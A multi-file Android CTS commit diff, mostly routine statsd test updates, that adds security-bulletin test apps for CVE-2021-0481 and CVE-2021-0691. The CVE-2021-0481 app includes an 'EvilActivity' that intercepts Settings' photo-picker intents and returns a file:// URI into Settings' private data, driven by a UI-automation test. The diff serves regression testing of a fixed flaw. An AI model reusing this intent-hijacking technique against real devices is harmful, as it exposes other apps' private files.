 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
-    name: "CtsPackageManagerBootTestStubApp",
+    name: "CVE-2021-0481",
     defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    // Tag this module as a cts test artifact
     test_suites: [
         "cts",
-        "general-tests",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+        "androidx.appcompat_appcompat",
     ],
     sdk_version: "current",
-    manifest: "AndroidManifest.xml",
-    compile_multilib: "both",
-}
\ No newline at end of file
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
new file mode 100644
index 0000000..eb4890b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:tools="http://schemas.android.com/tools"
+          package="android.security.cts.CVE_2021_0481"
+          android:targetSandboxVersion="2">
+
+  <application>
+    <uses-library android:name="android.test.runner"/>
+
+    <activity android:name=".EvilActivity" android:exported="true">
+            <intent-filter android:priority="100">
+                <action android:name="android.intent.action.OPEN_DOCUMENT"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.OPENABLE"/>
+                <data android:mimeType="*/*"/>
+            </intent-filter>
+            <intent-filter android:priority="100">
+                <action android:name="android.intent.action.CREATE_DOCUMENT"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.OPENABLE"/>
+                <data android:mimeType="*/*"/>
+            </intent-filter>
+            <intent-filter android:priority="100">
+                <action android:name="android.intent.action.GET_CONTENT"/>
+                <category android:name="android.intent.category.OPENABLE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="*/*"/>
+            </intent-filter>
+            <intent-filter android:priority="100">
+                <action android:name="android.intent.action.OPEN_DOCUMENT_TREE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+    </activity>
+
+  </application>
+
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+    android:targetPackage="android.security.cts.CVE_2021_0481" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
new file mode 100644
index 0000000..9103c96
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0481;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.SystemClock;
+import android.util.Log;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import androidx.test.filters.SdkSuppress;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import androidx.test.uiautomator.BySelector;
+
+import java.util.List;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+/**
+ * launch "Settings" app
+ * set up user photo
+ */
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+  class ClickableNotFound extends Exception{
+    public ClickableNotFound(String s){
+      super(s);
+    }
+  }
+
+  private static final String BASIC_SAMPLE_PACKAGE
+          = "android.security.cts.CVE_2021_0481";
+  private static final int LAUNCH_TIMEOUT_MS = 20000;
+  private static final String TAG = "TAG_2021_0481";
+  private static final int IS_FOUND_FLAG = 1;          // 0001
+  private static final int IS_CHECKED_FLAG = 2;        // 0010
+  private UiDevice mDevice;
+
+  @Test
+  public void testUserPhotoSetUp() {
+
+    //set mDevice and go to homescreen
+    mDevice = UiDevice.getInstance(getInstrumentation());
+    mDevice.pressHome();
+
+    //start "Settings" app
+    Intent myIntent = new Intent("android.settings.USER_SETTINGS");
+                                //android.provider.Settings.ACTION_USER_SETTINGS
+    myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+    try{
+      getApplicationContext().startActivity(myIntent);
+    } catch(android.content.ActivityNotFoundException e){
+      Log.d(TAG, "Activity to be tested  doesn't exist. Test will pass.");
+      return;
+    }
+
+    //wait for "User Settings" activity to appear.
+    SystemClock.sleep(6000);
+
+    //perform UI test steps
+    try {
+
+      //in "Multiple users" activity showing "Use multiple users" switch
+      searchAndClick(mDevice, "android:id/switch_widget", 2000);
+
+      //in "Multiple users" activity showing a list of current users,
+      //look for the first item "android:id/title" on the list showing "You(Owner)"
+      searchAndClick(mDevice, "android:id/title", 2000);
+
+      //in "Profile Info" dialog window showing clickable user silhouette
+      //look for clickable android.widget.ImageView object with attributes:
+      // getContentDescription()=Select photo
+      // getResourceName()=com.android.settings:id/user_photo
+      searchAndClick(mDevice, "com.android.settings:id/user_photo", 2000);
+
+      //in unnamed subdialog showing two options: "Take a photo" "Choose an image"
+      searchAndClick(mDevice, "Choose an image", 6000);
+
+      //in "Browse Files in Other Apps" activity
+      searchAndClick(mDevice, "android.security.cts.CVE_2021_0481.EvilActivity", 5000);
+    } catch (ClickableNotFound e){
+      Log.d(TAG, e.toString());
+      assumeNoException(e);
+    }
+    Log.d(TAG, "end of testUserPhotoSetUp()");
+  }
+
+  //see what is on screen and click on object containing name
+  //throw exception if object not found
+  private void searchAndClick(UiDevice mDevice, String name, int timeOut) throws ClickableNotFound {
+
+    int ret;
+    List<UiObject2> objects = mDevice.findObjects(By.clickable(true));
+    boolean found = false;
+    Log.d(TAG, "looking for " + name);
+    Log.d(TAG, "found " + String.valueOf(objects!=null ? objects.size() : 0) + " clickables");
+
+    if(objects != null){
+      for (UiObject2 o : objects) {
+        if((ret=searchAndLog(o, name, "")) !=0 )
+        {
+          found=true;
+          Log.d(TAG, name + " found");
+          if((ret & IS_CHECKED_FLAG) == 0) {
+              o.click();
+              Log.d(TAG, name + " clicked");
+              SystemClock.sleep(timeOut); //wait for click result to appear onscreen
+          }
+          break; //to avoid androidx.test.uiautomator.StaleObjectException
+        }
+      }
+    }
+    if(!found) {
+      throw new ClickableNotFound("\"" + name + "\" not found to click on");
+    }
+  }
+
+  //Search for 'name' in UiObject2
+  //returns int flags showing search result:
+  // IS_CHECKED_FLAG - 'name' matches o.getResourceName() and o.isSelected()==true
+  // IS_FOUND_FLAG - 'name' matches anything else
+  private int searchAndLog(UiObject2 o, String name, String prefix){
+
+    int ret = 0;
+    String lname = o.getText();
+    String cname = o.getClassName();
+    String cdesc = o.getContentDescription();
+    String rname = o.getResourceName();
+    boolean checked = o.isChecked();
+
+    Log.d(TAG, prefix + "class=" + cname);
+    Log.d(TAG, prefix + "o.getText()=" + lname);
+    Log.d(TAG, prefix + "o.getContentDescription()=" + cdesc);
+    Log.d(TAG, prefix + "o.getResourceName()=" + rname);
+    Log.d(TAG, prefix + "o.getChildCount()=" + o.getChildCount());
+
+    if( rname != null && rname.equals(name) && checked) {
+      ret |= IS_CHECKED_FLAG;
+    }
+    else if(lname != null && lname.equals(name) || cdesc != null && cdesc.equals(name) || rname != null && rname.equals(name) ) {
+      ret |= IS_FOUND_FLAG;
+    }
+
+    if(ret != 0) {
+      Log.d(TAG, prefix + "found-->" + name);
+      return ret;
+    } else {
+      java.util.List<UiObject2> objects2 = o.getChildren();
+      if(objects2 != null && objects2.size() > 0 && prefix.length() < 50) {
+        for (UiObject2 o2 : objects2) {
+          if((ret=searchAndLog(o2, name, prefix + "__")) != 0){
+            return ret;
+          }
+        }
+      }
+    }
+    return ret;
+  }
+
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
new file mode 100644
index 0000000..92f0ec3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts.CVE_2021_0481;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+
+public class EvilActivity extends Activity {
+
+    final static String PRIVATE_URI = "file:///data/user_de/0/com.android.settings/shared_prefs/cve_2021_0481.txt";
+    private static final String TAG = "TAG_2021_0481";
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.d(TAG, "EvilActivity started!");
+        setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI)));
+        finish();
+    }
+}
diff --git a/hostsidetests/packagemanager/boottest/app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp
similarity index 75%
copy from hostsidetests/packagemanager/boottest/app/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp
index d1a3271..0028642 100644
--- a/hostsidetests/packagemanager/boottest/app/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp
@@ -12,20 +12,15 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
-    name: "CtsPackageManagerBootTestStubApp",
+    name: "CVE-2021-0691",
     defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    // Tag this module as a cts test artifact
     test_suites: [
         "cts",
-        "general-tests",
+        "vts10",
+        "sts",
     ],
     sdk_version: "current",
-    manifest: "AndroidManifest.xml",
-    compile_multilib: "both",
-}
\ No newline at end of file
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/AndroidManifest.xml
new file mode 100644
index 0000000..1a83c8e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:tools="http://schemas.android.com/tools"
+          package="android.security.cts.CVE_2021_0691"
+          android:targetSandboxVersion="2">
+
+  <application>
+    <uses-library android:name="android.test.runner"/>
+  </application>
+
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+    android:targetPackage="android.security.cts.CVE_2021_0691" />
+
+</manifest>
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 6c2142b..e7d419b 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -926,7 +926,9 @@
 
     @Test
     public void testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk() throws Exception {
-        stageSingleApk(TestApp.A1).assertSuccessful();
+        int stagedSessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(stagedSessionId);
+
         int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
         PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
         assertThat(info).isStagedSessionFailed();
@@ -1167,6 +1169,8 @@
     public void testApexFailsToInstallIfApkInApexFailsToScan_VerifyPostReboot() throws Exception {
         int sessionId = retrieveLastSessionId();
         assertSessionFailed(sessionId);
+        assertSessionFailedWithMessage(sessionId, "Failed to parse "
+                + "/apex/com.android.apex.cts.shim/app/CtsShimTargetPSdk");
         assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
     }
 
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
index 6254cc1..4eac939 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
@@ -53,6 +53,7 @@
 import android.net.ConnectivityManager;
 import android.net.Network;
 import android.net.NetworkCapabilities;
+import android.net.NetworkInfo;
 import android.net.NetworkRequest;
 import android.net.cts.util.CtsNetUtils;
 import android.net.wifi.WifiManager;
@@ -79,6 +80,7 @@
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 
+import org.junit.Assert;
 import org.junit.Test;
 
 import java.io.File;
@@ -675,7 +677,7 @@
         sleep(500);
         setScreenBrightness(100);
         sleep(500);
-        setScreenBrightness(198);
+        setScreenBrightness(140);
         sleep(500);
 
 
@@ -919,8 +921,13 @@
     @Test
     public void testWifiReconnect() throws Exception {
         Context context = InstrumentationRegistry.getContext();
-        wifiReconnect(context);
+        boolean wifiConnected = isWifiConnected(context);
+        Assert.assertTrue(
+                "Wifi is not connected. The test expects Wifi to be connected before the run",
+                wifiConnected);
+
         wifiDisconnect(context);
+        sleep(500);
         wifiReconnect(context);
         sleep(500);
     }
@@ -1093,19 +1100,46 @@
     public void wifiDisconnect(Context context) throws Exception {
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
         ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.disconnect());
+
         PollingCheck.check(
-                "Wifi not disconnected",
+                "Timed out waiting for Wifi to become disconnected",
                 WIFI_CONNECT_TIMEOUT_MILLIS,
-                () -> wifiManager.getConnectionInfo().getNetworkId() == -1);
+                () -> !isWifiConnected(context));
     }
 
     public void wifiReconnect(Context context) throws Exception {
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
         ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.reconnect());
+
         PollingCheck.check(
-                "Wifi not connected",
+                "Timed out waiting for Wifi to become connected",
                 WIFI_CONNECT_TIMEOUT_MILLIS,
-                () -> wifiManager.getConnectionInfo().getNetworkId() != -1);
+                () -> isWifiConnected(context));
+    }
+
+    private boolean isWifiConnected(Context context) throws Exception {
+        ConnectivityManager connManager = context.getSystemService(ConnectivityManager.class);
+        if (connManager == null) {
+            return false;
+        }
+
+        Network[] networks = connManager.getAllNetworks();
+        for (Network network : networks) {
+            if (network == null) {
+                continue;
+            }
+
+            NetworkCapabilities caps = connManager.getNetworkCapabilities(network);
+            if (caps == null) {
+                continue;
+            }
+
+            if (caps.hasTransport(NetworkCapabilities.TRANSPORT_WIFI)) {
+                return true;
+            }
+        }
+
+        return false;
     }
 
     @Test
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/AlarmStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/AlarmStatsTests.java
index e5f6d0f..4f42196 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/AlarmStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/AlarmStatsTests.java
@@ -18,6 +18,7 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.app.ProcessStateEnum;
 import android.cts.statsdatom.lib.AtomTestUtils;
 import android.cts.statsdatom.lib.ConfigUtils;
 import android.cts.statsdatom.lib.DeviceUtils;
@@ -107,6 +108,16 @@
                 continue;
             }
             assertThat(alarm1.test(as) != alarm2.test(as)).isTrue();
+            assertThat(as.getCallingProcessState()).isNoneOf(ProcessStateEnum.PROCESS_STATE_UNKNOWN,
+                    ProcessStateEnum.PROCESS_STATE_UNKNOWN_TO_PROTO);
+            if (as.getIsExact()) {
+                assertThat(as.getExactAlarmAllowedReason()).isAnyOf(
+                        AtomsProto.AlarmScheduled.ReasonCode.PERMISSION,
+                        AtomsProto.AlarmScheduled.ReasonCode.CHANGE_DISABLED);
+            } else {
+                assertThat(as.getExactAlarmAllowedReason()).isEqualTo(
+                        AtomsProto.AlarmScheduled.ReasonCode.NOT_APPLICABLE);
+            }
             count++;
         }
         assertThat(count).isEqualTo(2);
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/apphibernation/AppHibernationStatsTest.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/apphibernation/AppHibernationStatsTest.java
index 8564d49..07b5f8c 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/apphibernation/AppHibernationStatsTest.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/apphibernation/AppHibernationStatsTest.java
@@ -79,7 +79,8 @@
         // Sorted list of events in order in which they occurred.
         final List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
         assertThat(data.size()).isAtLeast(1);
-        assertUserLevelHibernationStateChangedEvent(data, /* isHibernating */ true);
+        assertUserLevelHibernationStateChangedEvent(data, /* isHibernating */ true,
+                getDevice().getCurrentUser());
     }
 
     public void testUserLevelAppHibernationStateChanged_fromHibernatingToNotHibernating()
@@ -98,7 +99,8 @@
         // Sorted list of events in order in which they occurred.
         final List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
         assertThat(data.size()).isAtLeast(1);
-        assertUserLevelHibernationStateChangedEvent(data, /* isHibernating */ false);
+        assertUserLevelHibernationStateChangedEvent(data, /* isHibernating */ false,
+                getDevice().getCurrentUser());
     }
 
     public void testUserLevelHibernatedApps() throws Exception {
@@ -140,12 +142,12 @@
     }
 
     private static void assertUserLevelHibernationStateChangedEvent(
-            List<StatsLog.EventMetricData> data, boolean isHibernating) {
+            List<StatsLog.EventMetricData> data, boolean isHibernating, int currentUser) {
         for (StatsLog.EventMetricData d : data) {
             AtomsProto.UserLevelHibernationStateChanged atom =
                     d.getAtom().getUserLevelHibernationStateChanged();
             if (atom.getPackageName().equals(DeviceUtils.STATSD_ATOM_TEST_PKG)) {
-                assertThat(atom.getUserId()).isEqualTo(0);
+                assertThat(atom.getUserId()).isEqualTo(currentUser);
                 assertThat(atom.getIsHibernating()).isEqualTo(isHibernating);
                 return;
             }
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
index 2e5d628..0ccc450 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
@@ -32,11 +32,29 @@
 import com.google.protobuf.Descriptors;
 
 import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
 
 public class AppOpsTests extends DeviceTestCase implements IBuildReceiver {
     private static final int NUM_APP_OPS = AtomsProto.AttributedAppOps.getDefaultInstance().getOp().
             getDescriptorForType().getValues().size() - 1;
 
+    /**
+     * Some ops are only available to specific dynamic uids and are otherwise transformed to less
+     * privileged ops. For example, RECORD_AUDIO_HOTWORD is downgraded to RECORD_AUDIO. This stores
+     * a mapping from an op to the op it can be transformed from.
+     */
+    private static final Map<Integer, Integer> TRANSFORMED_FROM_OP = new HashMap<>();
+
+    static {
+        final int APP_OP_RECORD_AUDIO = 27;
+        final int APP_OP_RECORD_AUDIO_HOTWORD = 102;
+
+        TRANSFORMED_FROM_OP.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD);
+    }
+
     private IBuildInfo mCtsBuild;
 
     @Override
@@ -75,8 +93,11 @@
         Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
 
         ArrayList<Integer> expectedOps = new ArrayList<>();
+        Set<Integer> transformedOps = new HashSet<>(TRANSFORMED_FROM_OP.values());
         for (int i = 0; i < NUM_APP_OPS; i++) {
-            expectedOps.add(i);
+            if (!transformedOps.contains(i)) {
+                expectedOps.add(i);
+            }
         }
 
         for (Descriptors.EnumValueDescriptor valueDescriptor :
@@ -98,8 +119,11 @@
                         + appOps.getTrustedBackgroundGrantedCount()
                         + appOps.getTrustedForegroundRejectedCount()
                         + appOps.getTrustedBackgroundRejectedCount();
+                int expectedNoted =
+                        appOps.getOpId().getNumber() + 1
+                                + computeExpectedTransformedNoted(appOps.getOpId().getNumber());
                 assertWithMessage("Operation in APP_OPS_ENUM_MAP: " + appOps.getOpId().getNumber())
-                        .that(totalNoted - 1).isEqualTo(appOps.getOpId().getNumber());
+                        .that(totalNoted).isEqualTo(expectedNoted);
                 assertWithMessage("Unexpected Op reported").that(expectedOps).contains(
                         appOps.getOpId().getNumber());
                 expectedOps.remove(expectedOps.indexOf(appOps.getOpId().getNumber()));
@@ -107,4 +131,11 @@
         }
         assertWithMessage("Logging app op ids are missing in report.").that(expectedOps).isEmpty();
     }
+
+    private static int computeExpectedTransformedNoted(int op) {
+        if (!TRANSFORMED_FROM_OP.containsKey(op)) {
+            return 0;
+        }
+        return TRANSFORMED_FROM_OP.get(op) + 1;
+    }
 }
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
index 06cd913..081e08f 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
@@ -38,7 +38,13 @@
     public static final int WAIT_TIME_MS = 3_500;
     public static final String COMMAND_ENABLE_APP_HIBERNATION =
             "device_config put app_hibernation app_hibernation_enabled true";
+    private static final String CMD_GET_STAY_ON = "settings get global stay_on_while_plugged_in";
+    private static final String CMD_PUT_STAY_ON_TEMPLATE =
+            "settings put global stay_on_while_plugged_in %d";
+    private static final String CMD_ENABLE_STAY_ON =
+            "settings put global stay_on_while_plugged_in 7";
     private IBuildInfo mCtsBuild;
+    private long mOriginalStayOnSetting;
 
     @Override
     protected void setUp() throws Exception {
@@ -47,12 +53,17 @@
         ConfigUtils.removeConfig(getDevice());
         ReportUtils.clearReports(getDevice());
         DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        mOriginalStayOnSetting = Long.parseLong(
+                getDevice().executeShellCommand(CMD_GET_STAY_ON).trim());
+        getDevice().executeShellCommand(CMD_ENABLE_STAY_ON);
         DeviceUtils.turnScreenOn(getDevice());
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
     }
 
     @Override
     protected void tearDown() throws Exception {
+        getDevice().executeShellCommand(
+                String.format(CMD_PUT_STAY_ON_TEMPLATE, mOriginalStayOnSetting));
         ConfigUtils.removeConfig(getDevice());
         ReportUtils.clearReports(getDevice());
         DeviceUtils.uninstallStatsdTestApp(getDevice());
@@ -68,6 +79,8 @@
         final int atomTag = AtomsProto.Atom.APP_START_OCCURRED_FIELD_NUMBER;
         ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
                 atomTag,  /*uidInAttributionChain=*/false);
+        getDevice().executeShellCommand(getGlobalHibernationCommand(
+                DeviceUtils.STATSD_ATOM_TEST_PKG, false));
 
         DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
                 STATSD_CTS_FOREGROUND_ACTIVITY, "action", "action.sleep_top", WAIT_TIME_MS);
@@ -81,7 +94,7 @@
         assertThat(atom.getActivityName())
                 .isEqualTo("com.android.server.cts.device.statsdatom.StatsdCtsForegroundActivity");
         assertThat(atom.getIsInstantApp()).isFalse();
-        assertThat(atom.getActivityStartMillis()).isGreaterThan(0L);
+        assertThat(atom.getActivityStartTimestampMillis()).isGreaterThan(0L);
         assertThat(atom.getTransitionDelayMillis()).isGreaterThan(0);
         assertThat(atom.getIsHibernating()).isFalse();
     }
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
index 4f2f897..10eec55 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
@@ -43,6 +43,7 @@
 
 import java.io.FileNotFoundException;
 import java.util.Map;
+import java.util.StringTokenizer;
 import javax.annotation.Nonnull;
 import javax.annotation.Nullable;
 
@@ -243,7 +244,15 @@
      */
     public static boolean hasFeature(ITestDevice device, String feature) throws Exception {
         final String features = device.executeShellCommand("pm list features");
-        return features.contains(feature);
+        StringTokenizer featureToken = new StringTokenizer(features, "\n");
+
+        while(featureToken.hasMoreTokens()) {
+            if (("feature:" + feature).equals(featureToken.nextToken())) {
+                return true;
+            }
+        }
+
+        return false;
     }
 
     /**
@@ -332,6 +341,19 @@
         device.executeShellCommand("input keyevent KEYCODE_SLEEP");
     }
 
+    public static void turnBatteryStatsAutoResetOn(ITestDevice device) throws Exception {
+        device.executeShellCommand("dumpsys batterystats enable no-auto-reset");
+    }
+
+    public static void turnBatteryStatsAutoResetOff(ITestDevice device) throws Exception {
+        device.executeShellCommand("dumpsys batterystats enable no-auto-reset");
+    }
+
+    public static void flushBatteryStatsHandlers(ITestDevice device) throws Exception {
+        // Dumping batterystats will flush everything in the batterystats handler threads.
+        device.executeShellCommand("dumpsys batterystats");
+    }
+
     public static boolean hasBattery(ITestDevice device) throws Exception {
         try {
             BatteryServiceDumpProto batteryProto = getShellCommandOutput(device, BatteryServiceDumpProto.parser(),
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
index 9188894..1d9cdc2 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
@@ -19,7 +19,10 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import com.android.os.StatsLog;
+
 import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog;
 import com.android.os.StatsLog.ConfigMetricsReport;
 import com.android.os.StatsLog.ConfigMetricsReportList;
 import com.android.os.StatsLog.EventMetricData;
@@ -28,12 +31,15 @@
 import com.android.os.StatsLog.StatsLogReport;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.util.Pair;
 
 import com.google.protobuf.InvalidProtocolBufferException;
 
 import java.util.ArrayList;
+import java.util.Collections;
 import java.util.Comparator;
 import java.util.List;
+import java.util.stream.Collectors;
 
 public final class ReportUtils {
     private static final String DUMP_REPORT_CMD = "cmd stats dump-report";
@@ -51,7 +57,7 @@
 
     /**
      * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
-     * contain a single report).
+     * contain a single report) and sorts the atoms by timestamp within the report.
      */
